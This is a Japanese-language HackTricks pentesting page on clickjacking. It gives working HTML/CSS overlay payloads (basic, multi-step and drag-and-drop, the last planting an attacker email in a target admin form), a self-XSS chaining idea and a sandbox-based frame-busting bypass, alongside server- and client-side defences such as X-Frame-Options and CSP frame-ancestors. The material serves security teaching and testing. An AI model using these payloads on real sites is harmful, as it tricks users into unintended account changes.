hacktricks/pentesting-web/clickjacking.md

13 KiB
Raw Blame History

Clickjacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

Clickjackingとは

Clickjacking攻撃では、ユーザー見えないか、異なる要素として偽装されたウェブページ上の要素クリックするように騙されます。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。

フォームの事前入力トリック

時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにすることができます。

ドラッグ&ドロップでフォームに入力する

ユーザーにフォームに入力してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップして、この例のように制御されたデータを書き込むものをドラッグ&ドロップすることができます。

基本的なペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

ドラッグ&ドロップ + クリックペイロード

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

XSSをトリガーするためにユーザーがクリックする必要があるXSS攻撃を特定した場合、ページがClickjackingに対して脆弱であるとき、ユーザーをだましてボタン/リンクをクリックさせることができます。
例:
アカウントの一部のプライベート詳細(あなただけが設定および読み取り可能)にself XSSを見つけました。これらの詳細を設定するためのフォームClickjackingに対して脆弱であり、GETパラメータでフォーム事前に埋めることができます。
__攻撃者は、そのページに事前にXSSペイロードを埋め込んだフォーム事前に埋め込んだClickjacking攻撃を準備し、ユーザーフォームを送信させるようにだましてしまう可能性があります。そのため、フォームが送信されると値が変更され、ユーザーがXSSを実行します。

Clickjackingの緩和戦略

クライアントサイドの防御策

クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:

  • アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
  • すべてのフレームを表示する。
  • 不可視フレームでのクリックを防止する。
  • Clickjackingの試みを検出してユーザーに警告する。

ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:

  • ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
  • HTML5 iframe sandbox属性: 攻撃者は、allow-formsまたはallow-scriptsの値を設定し、allow-top-navigationを含まないsandbox属性を設定することで、フレームブレーキングスクリプトを無効化することができます。これにより、iframeはトップウィンドウかどうかを検証しなくなります。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

サーバーサイドの防御

X-Frame-Options

X-Frame-Options HTTPレスポンスヘッダーは、<frame>または<iframe>内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム化できません。
  • X-Frame-Options: sameorigin - 現在のサイトのみがコンテンツをフレーム化できます。
  • X-Frame-Options: allow-from https://trusted.com - 指定された 'uri' のみがページをフレーム化できます。
  • ブラウザがこのディレクティブをサポートしていない場合は機能しない可能性があるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好むことがあります。

Content Security Policy (CSP)のframe-ancestorsディレクティブ

CSP内の**frame-ancestorsディレクティブ**はClickjacking保護の推奨方法です

  • frame-ancestors 'none' - X-Frame-Options: denyに類似。
  • frame-ancestors 'self' - X-Frame-Options: sameoriginに類似。
  • frame-ancestors trusted.com - X-Frame-Options: allow-fromに類似。

たとえば、次のCSPは同じドメインからのフレーミングのみを許可します

Content-Security-Policy: frame-ancestors 'self';

詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。

Content Security Policy (CSP)のchild-srcおよびframe-src

**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。

frame-srcディレクティブ

  • フレームの有効なソースを定義します。
  • default-srcディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームが許可されています

child-srcディレクティブ

  • CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
  • frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーが許可されています

使用上の注意:

  • 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
  • フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
  • 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。

JavaScriptによるフレーム破壊スクリプト

完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例

if (top !== self) {
top.location = self.location;
}

Anti-CSRF トークンの利用

  • トークンの検証: Webアプリケーションで反CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert!

HackTricksをサポートする他の方法: